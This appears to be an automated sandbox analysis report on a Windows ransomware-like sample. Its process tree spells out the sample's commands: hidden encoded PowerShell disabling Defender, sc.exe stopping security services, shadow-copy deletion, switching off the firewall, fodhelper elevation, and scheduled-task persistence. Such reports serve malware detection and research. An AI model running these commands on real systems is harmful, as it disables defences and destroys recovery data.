Analysis

  • max time kernel
    150s
  • max time network
    145s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    16/08/2026, 05:44

General

  • Target
    blockwrk.io_hyber.exe
  • Size 49KB
  • Sample260816-gfg1msbd76
  • SHA256 5ce8f1b4d2643f6b9c961f426ecd53411c60b52be2dee24a8636fac494cda1db
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Creates a file in the Startup directory 1 TTPs 64 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Disables service(s) 3 TTPs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Discovers running processes 1 TTPs 1 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

  • Drops file in System32 directory 4 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Executes a command shell one-liner 1 TTPs 7 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\blockwrk.io_hyber.exe
    "C:\Users\Admin\AppData\Local\Temp\blockwrk.io_hyber.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Creates a file in the Startup directory
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3256
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5368
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:5732
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:4688
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:5672
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:6092
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:4908
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:5572
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:1540
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:5604
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4416
      • C:\Users\Admin\AppData\Local\Temp\blockwrk.io_hyber.exe
        "C:\Users\Admin\AppData\Local\Temp\blockwrk.io_hyber.exe"
        3⤵
          PID:1980
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
        • Executes a VBScript file via the Windows Script Host.
        PID:5556
      • C:\Windows\SYSTEM32\schtasks.exe
        "schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\blockwrk.io_hyber.exe" /sc onlogon /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:3204
      • C:\Windows\System32\notepad.exe
        "C:\Windows\System32\notepad.exe"
        2⤵
          PID:1016
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:5152
          • C:\Windows\system32\vssadmin.exe
            vssadmin delete shadows /all /quiet
            3⤵
            • Interacts with shadow copies
            PID:2516
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic shadowcopy delete
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:2496
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:5964
          • C:\Windows\system32\systeminfo.exe
            systeminfo
            3⤵
            • Gathers system information
            PID:6848
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:944
          • C:\Windows\system32\tasklist.exe
            tasklist
            3⤵
            • Discovers running processes
            • Suspicious use of AdjustPrivilegeToken
            PID:6820
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4508
          • C:\Windows\system32\whoami.exe
            whoami
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:6796
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:2052
          • C:\Windows\system32\net.exe
            net user
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:6760
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 user
              4⤵
                PID:6864
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:3380
            • C:\Windows\system32\ipconfig.exe
              ipconfig /all
              3⤵
              • Gathers network information
              PID:6892
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:1092
            • C:\Windows\system32\NETSTAT.EXE
              netstat -an
              3⤵
              • Gathers network information
              PID:7100
          • C:\Windows\SYSTEM32\schtasks.exe
            "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\blockwrk.io_hyber.exe" /sc daily /f
            2⤵
            • Scheduled Task/Job: Scheduled Task
            PID:6180
          • C:\Windows\System32\wscript.exe
            "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
            2⤵
            • Executes a VBScript file via the Windows Script Host.
            PID:6048
          • C:\Windows\System32\vssadmin.exe
            "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
            2⤵
            • Interacts with shadow copies
            PID:6376
          • C:\Windows\System32\wbem\WMIC.exe
            "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
            2⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:6392
          • C:\Windows\System32\net.exe
            "C:\Windows\System32\net.exe" stop srservice
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:6408
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 stop srservice
              3⤵
                PID:7164
            • C:\Windows\System32\netsh.exe
              "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
              2⤵
              • Modifies Windows Firewall
              • Event Triggered Execution: Netsh Helper DLL
              PID:6428
            • C:\Windows\System32\sc.exe
              "C:\Windows\System32\sc.exe" config i8042prt start= disabled
              2⤵
              • Launches sc.exe
              PID:6444
            • C:\Windows\System32\sc.exe
              "C:\Windows\System32\sc.exe" stop i8042prt
              2⤵
              • Launches sc.exe
              PID:6464
          • C:\Windows\system32\LogonUI.exe
            "LogonUI.exe" /flags:0x0 /state0:0xa3a24855 /state1:0x41c64e6d
            1⤵
            • Drops file in System32 directory
            • Drops file in Windows directory
            • Checks processor information in registry
            • Modifies data under HKEY_USERS
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            PID:1196
          • C:\Windows\System32\svchost.exe
            C:\Windows\System32\svchost.exe -k CameraMonitor
            1⤵
              PID:4116
            • C:\Users\Admin\AppData\Local\Temp\blockwrk.io_hyber.exe
              C:\Users\Admin\AppData\Local\Temp\blockwrk.io_hyber.exe
              1⤵
                PID:4604
              • C:\Windows\system32\vssvc.exe
                C:\Windows\system32\vssvc.exe
                1⤵
                  PID:2560

                Network

                      MITRE ATT&CK Enterprise v16

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                      Downloads

                      invoice_1.pdf

                      • Path C:\ProgramData\invoice_1.pdf
                      • Size 66KB
                      • SHA256 c8ace1888a7ec8715843ffa2c50147acbdc5ff3a730944e005660d79c890f089
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      doc_3.pdf

                      • Path C:\SystemVolumeInformation\doc_3.pdf
                      • Size 66KB
                      • SHA256 b073d3a3065c6f590cbf92d92e0252751f1cb31bf6f266221a16dc6ccd904313
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      createshortcut.vbs

                      • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                      • Size 242B
                      • SHA256 d3c6139a8d26dc59d961ad11f0531f4deaae592c569fb56d17655966b68b8781
                      • MD5 SHA1 SHA512 TLSH

                      del.bat

                      • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                      • Size 59B
                      • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                      • MD5 SHA1 SHA512 TLSH

                      makelnk.vbs

                      • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                      • Size 243B
                      • SHA256 88d94fb9bc3172cce3920b078230581c2931bcfe9d76a8c2de17e5e337fb1048
                      • MD5 SHA1 SHA512 TLSH

                      memory/1016-2243-0x0000025788340000-0x0000025788341000-memory.dmp

                      memory/3256-15-0x00007FFE9EDA0000-0x00007FFE9F744000-memory.dmp

                      memory/3256-3-0x00007FFE9EDA0000-0x00007FFE9F744000-memory.dmp

                      memory/3256-11-0x00007FFE9EDA0000-0x00007FFE9F744000-memory.dmp

                      memory/3256-12-0x00007FFE9EDA0000-0x00007FFE9F744000-memory.dmp

                      memory/3256-14-0x00007FFE9EDA0000-0x00007FFE9F744000-memory.dmp

                      memory/3256-13-0x00007FFE9EDA0000-0x00007FFE9F744000-memory.dmp

                      memory/3256-9-0x000000001E1C0000-0x000000001E382000-memory.dmp

                      memory/3256-2254-0x00007FFE9EDA0000-0x00007FFE9F744000-memory.dmp

                      memory/3256-0-0x00007FFE9EF2F000-0x00007FFE9EF30000-memory.dmp

                      memory/3256-8-0x00007FFE9EDA0000-0x00007FFE9F744000-memory.dmp

                      memory/3256-2253-0x00007FFE9EDA0000-0x00007FFE9F744000-memory.dmp

                      memory/3256-2252-0x00007FFE9EDA0000-0x00007FFE9F744000-memory.dmp

                      memory/3256-2250-0x00007FFE9EDA0000-0x00007FFE9F744000-memory.dmp

                      memory/3256-7-0x00007FFE9EDA0000-0x00007FFE9F744000-memory.dmp

                      memory/3256-4-0x00007FFE9EDA0000-0x00007FFE9F744000-memory.dmp

                      memory/3256-2235-0x00007FFE9EDA0000-0x00007FFE9F744000-memory.dmp

                      memory/3256-10-0x000000001EAB0000-0x000000001EFD8000-memory.dmp

                      memory/3256-2-0x00007FFE9EDA0000-0x00007FFE9F744000-memory.dmp

                      memory/3256-2248-0x00007FFE9EDA0000-0x00007FFE9F744000-memory.dmp

                      memory/3256-1-0x0000000000AB0000-0x0000000000AC2000-memory.dmp

                      memory/5368-1648-0x00000216DBBE0000-0x00000216DBBEA000-memory.dmp

                      memory/5368-1646-0x00000216C37F0000-0x00000216C380E000-memory.dmp

                      memory/5368-1647-0x00000216DBB20000-0x00000216DBBD2000-memory.dmp

                      memory/5368-20-0x00000216C3750000-0x00000216C3772000-memory.dmp